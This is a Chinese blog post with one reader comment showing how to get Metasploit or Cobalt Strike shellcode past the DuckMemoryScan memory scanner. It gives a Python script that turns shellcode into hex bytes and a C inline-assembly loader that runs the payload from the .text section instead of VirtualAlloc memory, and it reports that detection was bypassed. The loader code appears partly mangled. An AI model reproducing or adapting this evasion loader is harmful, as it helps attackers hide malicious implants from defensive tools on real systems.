昨天的事,谢谢各位师傅们了,所以写了该文来感谢各位师傅。而且今天是元宵节,祝大家元宵节快乐哦。
昨天,Github上出现了一个针对CS与MSF的内存扫描项目名叫DuckMemoryScan地址为:https://github.com/huoji120/DuckMemoryScan
根据该项目的介绍:
-
内存免杀shellcode检测(metasploit,Cobaltstrike完全检测)
-
可疑进程检测(主要针对有逃避性质的进程[如过期签名与多各可执行区段])
-
无文件落地木马检测(检测所有已知内存加载木马)
-
简易rootkit检测(检测证书过期/拦截读取/证书无效的驱动)
也就是类似于之前的CobaltStrikeScan之类的工具,我们来看一下如何绕过它。
首先拿了一个我之前的免杀马做测试,发现成功的检测出来了,毕竟项目介绍中也写到了会对"VirtualAlloc"函数进行检测。
那么我们就可以来想其他办法来操作了,项目介绍中说 但大部分普通程序均不会在VirtualAlloc区域内执行代码.一般都是在.text区段内执行代码,那我们在.text区段内执行代码不就行了嘛。
先使用我们的脚本转换一下shellcode
import binascii
import sys
import re
if __name__ == "__main__":
if len(sys.argv) < 2:
sys.exit(0)
try:
data = binascii.b2a_hex(open(sys.argv[1], "rb").read()).decode()
except:
print("Error reading %s" % sys.argv[1])
sys.exit(0)
if "-list" in sys.argv:
print("0x" + ",0x".join(re.findall("..", data)))
else:
print("\x" + "\x".join(re.findall("..", data)))
然后加载:
int main() {
asm("call codent"
".byte {{SHELLCODE}}nt"
"code:nt"
"retnt");
return 0;
}
成功写入
成功绕过检测。
当然方法还有很多,就看各位师傅发挥了(ps:每次检测这个程序都会检测出来微信,不明觉厉,23333)
本文始发于微信公众号(鸿鹄实验室):蹭热点之绕过DuckMemoryScan
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
2021年3月22日 下午11:38 1F
其实好像只要不用VirtualAlloc就能逃过检测(
所以不改到.text段也没问题(不用VirtualAlloc执行shellcode方法也蛮多的